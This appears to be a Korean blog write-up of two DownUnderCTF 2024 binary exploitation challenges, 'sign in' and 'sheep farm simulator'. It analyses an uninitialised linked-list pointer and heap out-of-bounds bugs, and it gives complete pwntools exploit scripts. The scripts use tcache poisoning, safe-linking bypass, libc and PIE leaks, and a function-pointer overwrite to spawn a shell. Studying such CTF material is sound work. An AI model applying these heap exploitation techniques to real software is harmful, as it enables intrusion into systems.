2024 DownUnderCTF 업솔빙

dandb3·2024년 7월 8일
0

writeup

목록 보기
5/8

1. sign in

자체적으로 doubly-linked-list를 이용해서 계정을 관리하는 프로그램이다.

1-1. 분석

typedef struct {
    long uid;
    char username[8];
    char password[8];
} user_t;

typedef struct user_entry user_entry_t;
struct user_entry {
    user_t* user;
    user_entry_t* prev;
    user_entry_t* next;
};

void sign_up() {
    user_t* user = malloc(sizeof(user_t));
    user_entry_t* entry = malloc(sizeof(user_entry_t));
    user->uid = UID++;
    printf("username: ");
    read(0, user->username, 8);
    printf("password: ");
    read(0, user->password, 8);
    entry->user = user;

    user_entry_t* curr = &user_list;
    while(curr->next) {
        curr = curr->next;
    }
    entry->prev = curr;
    curr->next = entry;
}

void remove_account(int uid) {
    user_entry_t* curr = &user_list;
    do {
        if(curr->user->uid == uid) {
            if(curr->prev) {
                curr->prev->next = curr->next;
            }
            if(curr->next) {
                curr->next->prev = curr->prev;
            }
            free(curr->user);
            free(curr);
            break;
        }
        curr = curr->next;
    } while(curr);
}

sign_up() 함수를 보면 새로 만들어진 user_entry_t에 대해서 next pointer를 초기화 하지 않는 것을 확인할 수 있다.
또한, remove_account()를 보면, next와 prev entry의 포인터 값들만 변경시켜주고, curr의 포인터들은 초기화시켜주지 않는다.

user_entry_t를 보면, next 포인터는 0x10위치에 존재하고 있으므로, tcache의 동작에 의해 값이 바뀌지 않는다.

즉, 이전에 설정한 next 값이 그대로 유지된다는 뜻이다.

한 가지 더 볼 점은 remove_account()sign_up()의 할당 / 해제 순서인데, 두 함수 모두 user -> entry 순으로 진행된다.
user_tuser_entry_t 모두 size가 0x18에 해당하므로 해제 후 할당을 하게 되면 이전에 entry였던 메모리는 user로, user였던 메모리는 entry로 바뀌어서 할당되게 된다.

여기서, password 부분과 next 부분의 메모리 영역이 일치하므로, 재할당 시 남아있는 next pointer는 이전의 password 값을 가지게 된다.

그러므로 next entry를 uid = 0, id / pw는 알고 있는 값 을 user로 가지는 주소를 가진 메모리로 선택해 주면 될 것이다.

1-2. 스크립트 작성

오늘 처음 안 사실인데, gdb 내부적으로 python script를 동작시킬 수 있다.

import gdb

class MemorySearcher(gdb.Command):
    def __init__(self):
        super(MemorySearcher, self).__init__("search_mem", gdb.COMMAND_USER)

    def invoke(self, arg, from_tty):
        start_address = 0x400000
        end_address = 0x405000
        step = 0x8

        def read_memory(address):
            try:
                # 8바이트를 읽고 이를 'long long' 타입으로 변환
                value = gdb.inferiors()[0].read_memory(address, 8)
                return int.from_bytes(value, byteorder='little')
            except gdb.MemoryError:
                return None

        for address in range(start_address, end_address, step):
            first_value = read_memory(address)
            if first_value is not None:
                second_value = read_memory(first_value)
                if second_value is not None and second_value == 0:
                    id = read_memory(first_value + 0x8)
                    passwd = read_memory(first_value + 0x10)
                    print(f"0x{address:x}")
                    print(f"\tid: {id:x}, passwd: {passwd:x}")

MemorySearcher()

chatgpt의 도움을 받아 위처럼 작성하였다.
0x400000 ~ 0x405000까지 entry에 적합한 메모리를 찾는 스크립트이다.


결과는 위와 같다.

1-3. 익스플로잇 코드

from pwn import *

r = remote("2024.ductf.dev", 30022)
# r = process("./sign-in")

def select(cmd):
    r.sendlineafter(b"> ", cmd)

def signup(username, password):
    select(b"1")
    r.sendafter(b"username: ", username)
    r.sendafter(b"password: ", password)

def signin(username, password):
    select(b"2")
    r.sendafter(b"username: ", username)
    r.sendafter(b"password: ", password)

def remove():
    select(b"3")

def get_shell():
    select(b"4")

signup(p64(0), p64(0x402eb8))
signin(p64(0), p64(0x402eb8))
remove()
signup(b"A", p64(0))
signin(p64(0), p64(0))
get_shell()

r.interactive()

1-4. 후기

writeup을 참고하여 풀이하였다.

문제를 풀 때 너무 복잡하게 생각해서 더 헷갈렸던 것 같다.
gdb를 통해 디버깅 할 때 파이썬 스크립트를 적극적으로 활용해야겠다..
지금까지 노가다로 직접 하나하나 보고 있었음..

2. sheep farm simulator

양 농장? 을 경영하는 게임인듯.

2-1. 분석

    int idx = read_int("index> ");
    if(idx >= SHEEP_MAX || game->sheep[idx] == NULL) {
        puts("That sheep doesn't exist!");
        return;
    }

기본적으로 위 로직을 통해서 index가 유효한지 검증하는데, idx가 음수인 경우는 고려하지 않는 OOB 취약점이 존재한다.

void buy_sheep(game_t* game) {
	...

    while(game->sheep[game->free_slot_hint]) game->free_slot_hint++;
    game->sheep[game->free_slot_hint] = sheep;
    game->num_sheep++;
    printf("sheep bought, sitting at index: %d\n", game->free_slot_hint);
}

void sell_sheep(game_t* game) {
	...
    
    game->wool += game->sheep[idx]->value;
    free(game->sheep[idx]);
    game->sheep[idx] = NULL;
    game->free_slot_hint = idx;
    game->num_sheep--;
}

game->free_slot_hint를 통해서 다음 양을 구매할 idx가 결정된다.
그런데 buy_sheep을 보면 free_slot_hint가 SHEEP_MAX를 넘지 않는지에 대한 범위 체크가 되지 않아 여기에서도 OOB 취약점이 존재한다.

void upgrade_sheep(game_t* game) {
    ...

    if(upgrade_type == 1) {
        game->sheep[idx]->wps += 1;
    } else if(upgrade_type == 2) {
        game->sheep[idx]->wps *= 2;
    }
    
    ...
}

뭔가 AAW에 쓰일 법한 모양새다.

void view_sheep(game_t* game) {
    int idx = read_int("index> ");
    if(idx >= SHEEP_MAX || game->sheep[idx] == NULL) {
        puts("That sheep doesn't exist!");
        return;
    }

    printf("Sheep %d\n", idx);
    printf("\tWPS: %ld\n", game->sheep[idx]->wps);
    printf("\tValue: %ld\n", game->sheep[idx]->value);
}

이 함수를 통해 원하는 데이터를 출력할 수 있을 것 같다.

AAW / AAR

일단 기본적으로 알아야 될 것은, tcache_bin 또한 heap 영역에 할당된다는 점이다.
user가 동적 할당한 주소에 앞서서 tcache가 존재하게 된다.

즉, 앞에서 보았던 OOB 취약점을 이용해서 tcache_bin을 조작할 수 있게 된다.
idx값으로 -69를 주게 되면 upgrade_sheep()함수와 view_sheep() 함수를 통해서 tcache_bin이 가리키는 영역의 값을 읽기 / 쓰기 가 자유자재로 가능해 진다.

이를 통해서 AAW, AAR이 가능해진다.

2-2. exploit

heap leak

buy_sheep()의 OOB 취약점을 통해서 heap leak이 가능하다.
game_t 구조체 또한 동적할당된 메모리이므로 SHEEP_MAX를 넘어간 이후에는 이미 할당된 sheep 구조체의 내부에 할당된 메모리 주소가 저장되게 된다.

이 sheep 구조체를 대상으로 view_sheep()을 호출하면 heap leak이 가능하다.

wool 복사

위 코드에서는 생략하였는데, 기본적인 동작들을 하기 위해선 game->wool이라는 재화가 필요하다.
heap leak을 진행하고 나면 sheep[0]의 value에는 heap address가 기록되기 때문에 sheep[0]을 판매하게 되면 wool 값을 충분히 채울 수 있다.

libc leak

여기서 좀 헤맸다.
game struct를 보면, 크기가 0xc0으로 fastbin 영역에 포함되지 않음을 알 수 있다.
즉, game struct를 8번 할당 해제하고 나면 unsorted bin에 들어가게 되어 메모리에 libc 영역의 주소가 쓰이게 된다.

그 후에 AAR을 이용해서 libc leak을 할 수 있다.

PIE leak

요거는 그냥 libc 메모리 영역에서 PIE 영역의 주소가 담긴 부분을 찾은 뒤에 AAR를 통해서 읽어낼 수 있다.

진짜 exploit

void update_state(game_t* game) {
    game->time++;
    for(int i = 0; i < game->num_sheep; i++) {
        if(game->sheep[i]) {
            ability_func f = abilities[game->sheep[i]->ability_type];
            game->wool += f(game->sheep[i]);
        }
    }
}

AAR, AAW가 가능하고, PIE base, libc base도 알았다.
여기서 주목할 함수는 update_state() 함수로, 이 함수는 명령을 입력한 후에 매 번 실행되는 함수이다.
내부적으로 함수 포인터를 호출하는 것을 확인할 수 있다.

즉, abilities에 있는 함수 포인터를 system()의 주소로 바꾸고, 호출되는 인자인 game->sheep[i]의 값을 /bin/sh\x00으로 바꾸면 될 것이다.

2-3. exploit code

는 아래와 같다.

from pwn import *

# r = process("./sheep")
r = remote("2024.ductf.dev", 30025)

def int_to_bytes(num):
    return bytes(str(num), encoding="ascii")

def menu(cmd):
    r.sendlineafter(b"> ", int_to_bytes(cmd))

def buy(type):
    menu(1)
    r.sendlineafter(b"> ", int_to_bytes(type))

def upgrade(idx, type):
    menu(2)
    r.sendlineafter(b"> ", int_to_bytes(idx))
    r.sendlineafter(b"> ", int_to_bytes(type))

def sell(idx):
    menu(3)
    r.sendlineafter(b"> ", int_to_bytes(idx))

def view(idx):
    menu(4)
    r.sendlineafter(b"> ", int_to_bytes(idx))

for i in range(20):
    buy(0)

for i in range(1, 20):
    sell(i)

buy(0)
buy(0) # index 22
view(0)

r.recvuntil(b"Value: ")
heap_base = int(r.recvline()[:-1]) & 0xfffffffffffff000
print("heap base: ", hex(heap_base))

def set_wps(idx, addr, size):
    payload = b""
    for i in range(64):
        # upgrade(idx, 2)
        payload += b"2\n" + int_to_bytes(idx) + b"\n2\n"
    r.send(payload)
    r.recvn(4096)
    payload = b""
    for i in range(size, 64):
        shift_bits = 63 - i
        if ((addr >> shift_bits) & 1):
            # upgrade(-69, 1)
            payload += b"2\n-69\n1\n"
        if i != 63:
            # upgrade(-69, 2)
            payload += b"2\n-69\n2\n"
    r.send(payload)
    r.recvn(16384)

# index of tcache_bin entry = -69
# game_t offset = 0x2a0

encoded_target = (heap_base + 0x2a0) ^ (heap_base >> 12)
print("encoded target: ", hex(encoded_target))

for i in range(8):
    print(f"({i}) filling tcache bin with size = 0xc0 ... ")
    sell(0) # show me the money
    set_wps(-69, encoded_target, 17)
    buy(0) # idx = 0
    upgrade(-69, 1)
    sell(-69) # tcache_bin(0x20) -> 0, tcache_bin(0xc0) -> 1

sell(0)
set_wps(-69, encoded_target, 17)
buy(0)
view(-69)

r.recvuntil(b"WPS: ")
libc_base = int(r.recvline()[:-1]) - 0x21ad7d
if (libc_base & 0xfff):
    libc_base &= 0xfffffffffffff000
    libc_base += 0x1000
print("libc_base: ", hex(libc_base))

encoded_target = (libc_base + 0x219e38) ^ (heap_base >> 12)

sell(0)
set_wps(-69, encoded_target, 17)
buy(0)
view(-69)

r.recvuntil(b"WPS: ")
PIE_base = int(r.recvline()[:-1]) - 0x40c0
print("PIE_base: ", hex(PIE_base))

encoded_target = (PIE_base + 0x40b0) ^ (heap_base >> 12)
system = libc_base + 0x50d70

sell(0)
set_wps(-69, encoded_target, 17)
buy(0)
set_wps(-69, system, 17)

encoded_target = (PIE_base + 0x4020) ^ (heap_base >> 12)

sell(0)
set_wps(-69, encoded_target, 17)
buy(0)
set_wps(-69, u64(b"/bin/sh\x00"), 0)

encoded_target = (heap_base + 0x360) ^ (heap_base >> 12)
sell(0)

for _ in range(10):
    set_wps(-69, encoded_target, 17)
    buy(0)

r.interactive()

중간에 rand()가 섞여있는 부분이나, tcache_bin의 남은 chunk 수, free_slot_hint 등의 변수가 존재해서 생각보다 시간이 오래 걸렸다.

<다른 문제들 추가 예정>

profile
공부 내용 저장소

0개의 댓글